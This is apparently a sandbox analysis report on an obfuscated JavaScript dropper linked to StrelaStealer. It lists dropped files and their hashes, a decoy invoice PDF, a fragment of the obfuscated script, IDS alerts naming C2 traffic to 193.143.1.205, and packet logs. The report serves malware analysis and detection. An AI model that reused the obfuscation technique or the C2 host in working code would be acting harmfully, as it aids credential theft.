C:\Users\user\AppData\Local\Temp\acrocef_low\ac8c53cb-1596-4b39-a6f3-b74eb472527a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	DAB0D55487947A8C00DEFEB1863E5D52
SHA1:	CA21AE7C3A6C3B75C5FEE6CC45E57F4F8E9AAD6A
SHA-256:	915AF8947C717264BA12E43919E2AED3846C3C312EE46DFEE18A7F40BE119623
SHA-512:	A6C1268A6C488495C2D07A90F498014192501A27D4A597C20644F5C95D3E4A7777D8E884F13DA9933B8D5C399499C98BDE94988467F79BF11B4391869ACFAF17
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\dd3102d3-59ee-45be-bc91-208b4eeb9d9b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17370), with CRLF line terminators
Entropy (8bit):	4.92323689049427
TrID:
File name:	316517466273709266.js
File size:	20'908 bytes
MD5:	90e89417cee76ebf775da900a2291260
SHA1:	433526ba87de8b6b35150d3e76c0e0a4d3c76a05
SHA256:	812913939fa0fb75cb4ab9b49cfbf9419070ff79b2f31e2c3cb6e4307070657a
SHA512:	a1fabdf4e3a092f456d54670be168a9e03b9a0ade3152889cc13bf6a36c962b7f791d12cc290394afbfe6cda9674e212e0d9e0c425a93dce892c5ac195223f75
SSDEEP:	384:Adbw0/I5dbwAMyKU9qahfKW0GeXe1MeQZ6Fpfx0ySxEyvvifR3t7PT/AAvWtzYB9:+CPfnbRUAvmWdkbAbsdDOX/
TLSH:	149230D8EF4BD3610AD8017942E207A61EEC02969DB391DB0D5165846B9A8ECE3E31F6
File Content Preview:	function kulmgz(){ujrwmnff=[1031,3079,5127,4103,2055,3072];var reuwjoh=this[jkbrpaav+fnbsojyi+bahpkfqn+snjixyvxt+csvrl+biqvyugwm+awzznyhc+kalpnvxe](this[czudywl+otpgctnzp+rsegmh+bahpkfqn+jnhozdj+jkbrpaav+kalpnvxe][ymfvw+bahpkfqn+csvrl+fnbsojyi+kalpnvxe+cs

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:28:58.677556+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T06:28:58.677556+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T06:29:01.290842+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:28:57.901448965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:57.906352997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:57.906476974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:57.909959078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:57.914670944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.677336931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.677370071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.677383900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.677395105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.677406073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.677417040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.677439928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.677469969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.677490950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.677501917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.677556038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.677609921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.682476044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.682495117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.682590961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.720000982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.720022917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.720036030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.720181942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.798566103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.798584938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.798595905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.798713923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.798777103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.798892975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.803323984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.803347111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.803409100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.803627968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.803642035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.803653002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.803693056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.808053970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.808069944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.808157921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.808340073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.808351994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.808407068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.814223051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.814241886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.814332008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.814480066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.814491987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.814502954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.814538956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.820349932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.820502043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.820564985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.820657015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.841052055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.841069937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.841082096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.841121912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.841173887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.845798969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.845815897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.845894098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.885366917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.885385990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.885440111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.919756889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.919778109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.919790983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.919800997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.919812918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.919827938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.919882059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.919991970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.920030117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.920193911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.920212984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.920223951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.920234919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.920244932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.920305014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.920864105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.920875072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.920892954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.920912027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.920912027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.920923948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.921010017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.921787024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.921797991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.921808004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.921833992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.921907902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.921921968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.921933889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.921969891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.922794104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.922806025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.922817945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.922828913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.922840118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.922842026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.922903061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.923665047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.923695087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.923707008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.923717022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.923722982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.923727036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.923788071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.923788071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.924628973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.924643040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.924653053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.924666882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.924678087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.924678087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.924696922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.925595045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.925607920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.925618887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.925654888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.925678968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.927772045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.927784920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.927829981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.963573933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.963593006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.963604927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.963656902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.964185953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.964200020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.964226961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.973787069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.973804951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.973817110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.973828077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.973835945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.973870993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:58.973897934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.973908901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:58.973931074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.006505013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.006521940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.006567001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.040988922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.041023970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.041037083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.041049004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.041062117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.041074038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.041070938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.041085958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.041095972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.041107893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.041152000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.041152000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.041271925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.041297913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.041322947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.041660070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.041702986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.041835070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.041847944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.041898966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.042409897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.042546988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.042587042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.045824051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.045835972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.045846939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.045857906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.045869112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.045872927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.045914888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.045973063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.045984030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.045994043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046005964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046015024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046019077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046025991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046036959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046046972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046049118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046057940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046068907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046077967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046078920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046089888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046097994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046118975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046118975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046130896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046142101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046153069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046159029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046164036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046174049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046179056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046184063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046205044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046224117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046293020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046303988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046314955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046324968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046335936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046344995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046346903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046360016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046370029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046370983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046380997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046391964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046411991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046432972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046444893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046454906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046466112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046473026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046475887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046487093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046498060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046504021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046509027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046519995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046530962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046541929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046550989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046552896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046559095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046570063 CET	80	49704	193.143.1.205	192.168.2.5
